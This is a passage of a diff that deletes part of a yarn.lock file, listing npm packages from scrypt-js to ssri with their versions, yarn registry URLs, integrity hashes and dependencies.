-  integrity sha512-8LuxJSuFVc92+0AdNv4QOxRL4Abeo1DgLnGNkn1XlaujPH/3cCFz3QI60r2VNu4obJJROzgnIUw5TKQkZvZI1w==
-  dependencies:
-    compute-scroll-into-view "^1.0.17"
-
-scrypt-js@2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/scrypt-js/-/scrypt-js-2.0.4.tgz#32f8c5149f0797672e551c07e230f834b6af5f16"
-  integrity sha512-4KsaGcPnuhtCZQCxFxN3GVYIhKFPTdLd8PLC552XwbMndtD0cjRFAhDuuydXQ0h08ZfPgzqe6EKHozpuH74iDw==
-
-scrypt-js@3.0.1, scrypt-js@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/scrypt-js/-/scrypt-js-3.0.1.tgz#d314a57c2aef69d1ad98a138a21fe9eafa9ee312"
-  integrity sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==
-
-scryptsy@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/scryptsy/-/scryptsy-1.2.1.tgz#a3225fa4b2524f802700761e2855bdf3b2d92163"
-  integrity sha1-oyJfpLJST4AnAHYeKFW987LZIWM=
-  dependencies:
-    pbkdf2 "^3.0.3"
-
-sdp@^2.12.0, sdp@^2.6.0:
-  version "2.12.0"
-  resolved "https://registry.yarnpkg.com/sdp/-/sdp-2.12.0.tgz#338a106af7560c86e4523f858349680350d53b22"
-  integrity sha512-jhXqQAQVM+8Xj5EjJGVweuEzgtGWb3tmEEpl3CLP3cStInSbVHSg0QWOGQzNq8pSID4JkpeV2mPqlMDLrm0/Vw==
-
-secp256k1@^4.0.1:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/secp256k1/-/secp256k1-4.0.2.tgz#15dd57d0f0b9fdb54ac1fa1694f40e5e9a54f4a1"
-  integrity sha512-UDar4sKvWAksIlfX3xIaQReADn+WFnHvbVujpcbr+9Sf/69odMwy2MUsz5CKLQgX9nsIyrjuxL2imVyoNHa3fg==
-  dependencies:
-    elliptic "^6.5.2"
-    node-addon-api "^2.0.0"
-    node-gyp-build "^4.2.0"
-
-select-hose@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/select-hose/-/select-hose-2.0.0.tgz#625d8658f865af43ec962bfc376a37359a4994ca"
-  integrity sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=
-
-selfsigned@^1.10.7:
-  version "1.10.11"
-  resolved "https://registry.yarnpkg.com/selfsigned/-/selfsigned-1.10.11.tgz#24929cd906fe0f44b6d01fb23999a739537acbe9"
-  integrity sha512-aVmbPOfViZqOZPgRBT0+3u4yZFHpmnIghLMlAcb5/xhp5ZtB/RVnKhz5vl2M32CLXAqR4kha9zfhNg0Lf/sxKA==
-  dependencies:
-    node-forge "^0.10.0"
-
-semaphore@>=1.0.1, semaphore@^1.0.3:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/semaphore/-/semaphore-1.1.0.tgz#aaad8b86b20fe8e9b32b16dc2ee682a8cd26a8aa"
-  integrity sha512-O4OZEaNtkMd/K0i6js9SL+gqy0ZCBMgUvlSqHKi4IBdjhe7wB8pwztUk1BbZ1fmrvpwFrPbHzqd2w5pTcJH6LA==
-
-semver-greatest-satisfied-range@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/semver-greatest-satisfied-range/-/semver-greatest-satisfied-range-1.1.0.tgz#13e8c2658ab9691cb0cd71093240280d36f77a5b"
-  integrity sha1-E+jCZYq5aRywzXEJMkAoDTb3els=
-  dependencies:
-    sver-compat "^1.5.0"
-
-"semver@2 || 3 || 4 || 5", semver@^5.3.0, semver@^5.4.1, semver@^5.5.0, semver@^5.5.1, semver@^5.6.0:
-  version "5.7.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-  integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
-
-semver@6.3.0, semver@^6.0.0, semver@^6.1.1, semver@^6.1.2, semver@^6.2.0, semver@^6.3.0:
-  version "6.3.0"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
-  integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==
-
-semver@7.0.0:
-  version "7.0.0"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e"
-  integrity sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==
-
-semver@^7.3.2:
-  version "7.3.5"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.5.tgz#0b621c879348d8998e4b0e4be94b3f12e6018ef7"
-  integrity sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==
-  dependencies:
-    lru-cache "^6.0.0"
-
-semver@~5.4.1:
-  version "5.4.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.4.1.tgz#e059c09d8571f0540823733433505d3a2f00b18e"
-  integrity sha512-WfG/X9+oATh81XtllIo/I8gOiY9EXRdv1cQdyykeXK17YcUW3EXUAi2To4pcH6nZtJPr7ZOpM5OMyWJZm+8Rsg==
-
-send@0.17.1:
-  version "0.17.1"
-  resolved "https://registry.yarnpkg.com/send/-/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8"
-  integrity sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==
-  dependencies:
-    debug "2.6.9"
-    depd "~1.1.2"
-    destroy "~1.0.4"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    fresh "0.5.2"
-    http-errors "~1.7.2"
-    mime "1.6.0"
-    ms "2.1.1"
-    on-finished "~2.3.0"
-    range-parser "~1.2.1"
-    statuses "~1.5.0"
-
-serialize-javascript@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-4.0.0.tgz#b525e1238489a5ecfc42afacc3fe99e666f4b1aa"
-  integrity sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==
-  dependencies:
-    randombytes "^2.1.0"
-
-serve-index@^1.9.1:
-  version "1.9.1"
-  resolved "https://registry.yarnpkg.com/serve-index/-/serve-index-1.9.1.tgz#d3768d69b1e7d82e5ce050fff5b453bea12a9239"
-  integrity sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=
-  dependencies:
-    accepts "~1.3.4"
-    batch "0.6.1"
-    debug "2.6.9"
-    escape-html "~1.0.3"
-    http-errors "~1.6.2"
-    mime-types "~2.1.17"
-    parseurl "~1.3.2"
-
-serve-static@1.14.1:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9"
-  integrity sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==
-  dependencies:
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    parseurl "~1.3.3"
-    send "0.17.1"
-
-set-blocking@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
-  integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
-
-set-immediate-shim@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz#4b2b1b27eb808a9f8dcc481a58e5e56f599f3f61"
-  integrity sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=
-
-set-value@^2.0.0, set-value@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/set-value/-/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b"
-  integrity sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-extendable "^0.1.1"
-    is-plain-object "^2.0.3"
-    split-string "^3.0.1"
-
-setimmediate@1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.4.tgz#20e81de622d4a02588ce0c8da8973cbcf1d3138f"
-  integrity sha1-IOgd5iLUoCWIzgyNqJc8vPHTE48=
-
-setimmediate@^1.0.4, setimmediate@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
-  integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
-
-setprototypeof@1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656"
-  integrity sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==
-
-setprototypeof@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
-  integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==
-
-sha.js@^2.4.0, sha.js@^2.4.8:
-  version "2.4.11"
-  resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
-  integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==
-  dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-shallow-clone@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/shallow-clone/-/shallow-clone-0.1.2.tgz#5909e874ba77106d73ac414cfec1ffca87d97060"
-  integrity sha1-WQnodLp3EG1zrEFM/sH/yofZcGA=
-  dependencies:
-    is-extendable "^0.1.1"
-    kind-of "^2.0.1"
-    lazy-cache "^0.2.3"
-    mixin-object "^2.0.1"
-
-shallow-clone@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/shallow-clone/-/shallow-clone-3.0.1.tgz#8f2981ad92531f55035b01fb230769a40e02efa3"
-  integrity sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==
-  dependencies:
-    kind-of "^6.0.2"
-
-shallowequal@^1.0.1, shallowequal@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/shallowequal/-/shallowequal-1.1.0.tgz#188d521de95b9087404fd4dcb68b13df0ae4e7f8"
-  integrity sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==
-
-shebang-command@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
-  integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
-  dependencies:
-    shebang-regex "^1.0.0"
-
-shebang-command@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
-  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
-  dependencies:
-    shebang-regex "^3.0.0"
-
-shebang-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
-  integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
-
-shebang-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
-  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
-
-shell-quote@1.7.2:
-  version "1.7.2"
-  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2"
-  integrity sha512-mRz/m/JVscCrkMyPqHc/bczi3OQHkLTqXHEFu0zDhK/qfv3UcOA4SVmRCLmos4bhjr9ekVQubj/R7waKapmiQg==
-
-shellwords@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/shellwords/-/shellwords-0.1.1.tgz#d6b9181c1a48d397324c84871efbcfc73fc0654b"
-  integrity sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww==
-
-side-channel@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf"
-  integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==
-  dependencies:
-    call-bind "^1.0.0"
-    get-intrinsic "^1.0.2"
-    object-inspect "^1.9.0"
-
-signal-exit@^3.0.0, signal-exit@^3.0.2:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
-  integrity sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==
-
-signed-varint@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/signed-varint/-/signed-varint-2.0.1.tgz#50a9989da7c98c2c61dad119bc97470ef8528129"
-  integrity sha1-UKmYnafJjCxh2tEZvJdHDvhSgSk=
-  dependencies:
-    varint "~5.0.0"
-
-simple-swizzle@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.yarnpkg.com/simple-swizzle/-/simple-swizzle-0.2.2.tgz#a4da6b635ffcccca33f70d17cb92592de95e557a"
-  integrity sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=
-  dependencies:
-    is-arrayish "^0.3.1"
-
-sisteransi@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
-  integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
-
-slash@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/slash/-/slash-1.0.0.tgz#c41f2f6c39fc16d1cd17ad4b5d896114ae470d55"
-  integrity sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=
-
-slash@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/slash/-/slash-2.0.0.tgz#de552851a1759df3a8f206535442f5ec4ddeab44"
-  integrity sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==
-
-slash@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
-  integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==
-
-slice-ansi@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/slice-ansi/-/slice-ansi-2.1.0.tgz#cacd7693461a637a5788d92a7dd4fba068e81636"
-  integrity sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==
-  dependencies:
-    ansi-styles "^3.2.0"
-    astral-regex "^1.0.0"
-    is-fullwidth-code-point "^2.0.0"
-
-snapdragon-node@^2.0.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/snapdragon-node/-/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b"
-  integrity sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==
-  dependencies:
-    define-property "^1.0.0"
-    isobject "^3.0.0"
-    snapdragon-util "^3.0.1"
-
-snapdragon-util@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/snapdragon-util/-/snapdragon-util-3.0.1.tgz#f956479486f2acd79700693f6f7b805e45ab56e2"
-  integrity sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==
-  dependencies:
-    kind-of "^3.2.0"
-
-snapdragon@^0.8.1:
-  version "0.8.2"
-  resolved "https://registry.yarnpkg.com/snapdragon/-/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d"
-  integrity sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==
-  dependencies:
-    base "^0.11.1"
-    debug "^2.2.0"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    map-cache "^0.2.2"
-    source-map "^0.5.6"
-    source-map-resolve "^0.5.0"
-    use "^3.1.0"
-
-sockjs-client@1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/sockjs-client/-/sockjs-client-1.4.0.tgz#c9f2568e19c8fd8173b4997ea3420e0bb306c7d5"
-  integrity sha512-5zaLyO8/nri5cua0VtOrFXBPK1jbL4+1cebT/mmKA1E1ZXOvJrII75bPu0l0k843G/+iAbhEqzyKr0w/eCCj7g==
-  dependencies:
-    debug "^3.2.5"
-    eventsource "^1.0.7"
-    faye-websocket "~0.11.1"
-    inherits "^2.0.3"
-    json3 "^3.3.2"
-    url-parse "^1.4.3"
-
-sockjs@0.3.20:
-  version "0.3.20"
-  resolved "https://registry.yarnpkg.com/sockjs/-/sockjs-0.3.20.tgz#b26a283ec562ef8b2687b44033a4eeceac75d855"
-  integrity sha512-SpmVOVpdq0DJc0qArhF3E5xsxvaiqGNb73XfgBpK1y3UD5gs8DSo8aCTsuT5pX8rssdc2NDIzANwP9eCAiSdTA==
-  dependencies:
-    faye-websocket "^0.10.0"
-    uuid "^3.4.0"
-    websocket-driver "0.6.5"
-
-sort-keys@^1.0.0:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/sort-keys/-/sort-keys-1.1.2.tgz#441b6d4d346798f1b4e49e8920adfba0e543f9ad"
-  integrity sha1-RBttTTRnmPG05J6JIK37oOVD+a0=
-  dependencies:
-    is-plain-obj "^1.0.0"
-
-source-list-map@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/source-list-map/-/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34"
-  integrity sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==
-
-source-map-js@^0.6.2:
-  version "0.6.2"
-  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-0.6.2.tgz#0bb5de631b41cfbda6cfba8bd05a80efdfd2385e"
-  integrity sha512-/3GptzWzu0+0MBQFrDKzw/DvvMTUORvgY6k6jd/VS6iCR4RDTKWH6v6WPwQoUO8667uQEf9Oe38DxAYWY5F/Ug==
-
-source-map-resolve@^0.5.0, source-map-resolve@^0.5.2:
-  version "0.5.3"
-  resolved "https://registry.yarnpkg.com/source-map-resolve/-/source-map-resolve-0.5.3.tgz#190866bece7553e1f8f267a2ee82c606b5509a1a"
-  integrity sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==
-  dependencies:
-    atob "^2.1.2"
-    decode-uri-component "^0.2.0"
-    resolve-url "^0.2.1"
-    source-map-url "^0.4.0"
-    urix "^0.1.0"
-
-source-map-resolve@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/source-map-resolve/-/source-map-resolve-0.6.0.tgz#3d9df87e236b53f16d01e58150fc7711138e5ed2"
-  integrity sha512-KXBr9d/fO/bWo97NXsPIAW1bFSBOuCnjbNTBMO7N59hsv5i9yzRDfcYwwt0l04+VqnKC+EwzvJZIP/qkuMgR/w==
-  dependencies:
-    atob "^2.1.2"
-    decode-uri-component "^0.2.0"
-
-source-map-support@^0.5.6, source-map-support@~0.5.12:
-  version "0.5.19"
-  resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.19.tgz#a98b62f86dcaf4f67399648c085291ab9e8fed61"
-  integrity sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==
-  dependencies:
-    buffer-from "^1.0.0"
-    source-map "^0.6.0"
-
-source-map-url@^0.4.0:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.1.tgz#0af66605a745a5a2f91cf1bbf8a7afbc283dec56"
-  integrity sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==
-
-source-map@0.6.1, source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
-  version "0.6.1"
-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
-  integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
-
-source-map@^0.5.0, source-map@^0.5.1, source-map@^0.5.6, source-map@~0.5.1:
-  version "0.5.7"
-  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
-  integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=
-
-sparkles@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/sparkles/-/sparkles-1.0.1.tgz#008db65edce6c50eec0c5e228e1945061dd0437c"
-  integrity sha512-dSO0DDYUahUt/0/pD/Is3VIm5TGJjludZ0HVymmhYF6eNA53PVLhnUk0znSYbH8IYBuJdCE+1luR22jNLMaQdw==
-
-spdx-correct@^3.0.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9"
-  integrity sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==
-  dependencies:
-    spdx-expression-parse "^3.0.0"
-    spdx-license-ids "^3.0.0"
-
-spdx-exceptions@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz#3f28ce1a77a00372683eade4a433183527a2163d"
-  integrity sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==
-
-spdx-expression-parse@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679"
-  integrity sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==
-  dependencies:
-    spdx-exceptions "^2.1.0"
-    spdx-license-ids "^3.0.0"
-
-spdx-license-ids@^3.0.0:
-  version "3.0.9"
-  resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.9.tgz#8a595135def9592bda69709474f1cbeea7c2467f"
-  integrity sha512-Ki212dKK4ogX+xDo4CtOZBVIwhsKBEfsEEcwmJfLQzirgc2jIWdzg40Unxz/HzEUqM1WFzVlQSMF9kZZ2HboLQ==
-
-spdy-transport@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/spdy-transport/-/spdy-transport-3.0.0.tgz#00d4863a6400ad75df93361a1608605e5dcdcf31"
-  integrity sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==
-  dependencies:
-    debug "^4.1.0"
-    detect-node "^2.0.4"
-    hpack.js "^2.1.6"
-    obuf "^1.1.2"
-    readable-stream "^3.0.6"
-    wbuf "^1.7.3"
-
-spdy@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/spdy/-/spdy-4.0.2.tgz#b74f466203a3eda452c02492b91fb9e84a27677b"
-  integrity sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==
-  dependencies:
-    debug "^4.1.0"
-    handle-thing "^2.0.0"
-    http-deceiver "^1.2.7"
-    select-hose "^2.0.0"
-    spdy-transport "^3.0.0"
-
-split-on-first@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/split-on-first/-/split-on-first-1.1.0.tgz#f610afeee3b12bce1d0c30425e76398b78249a5f"
-  integrity sha512-43ZssAJaMusuKWL8sKUBQXHWOpq8d6CfN/u1p4gUzfJkM05C8rxTmYrkIPTXapZpORA6LkkzcUulJ8FqA7Uudw==
-
-split-string@^3.0.1, split-string@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/split-string/-/split-string-3.1.0.tgz#7cb09dda3a86585705c64b39a6466038682e8fe2"
-  integrity sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==
-  dependencies:
-    extend-shallow "^3.0.0"
-
-split@0.3.1:
-  version "0.3.1"
-  resolved "https://registry.yarnpkg.com/split/-/split-0.3.1.tgz#cebcf142bf61bbb64b141628e6db482a2914654c"
-  integrity sha1-zrzxQr9hu7ZLFBYo5ttIKikUZUw=
-  dependencies:
-    through "2"
-
-sprintf-js@~1.0.2:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
-  integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
-
-sshpk@^1.7.0:
-  version "1.16.1"
-  resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877"
-  integrity sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==
-  dependencies:
-    asn1 "~0.2.3"
-    assert-plus "^1.0.0"
-    bcrypt-pbkdf "^1.0.0"
-    dashdash "^1.12.0"
-    ecc-jsbn "~0.1.1"
-    getpass "^0.1.1"
-    jsbn "~0.1.0"
-    safer-buffer "^2.0.2"
-    tweetnacl "~0.14.0"
-
-ssri@^6.0.1:
-  version "6.0.2"
-  resolved "https://registry.yarnpkg.com/ssri/-/ssri-6.0.2.tgz#157939134f20464e7301ddba3e90ffa8f7728ac5"
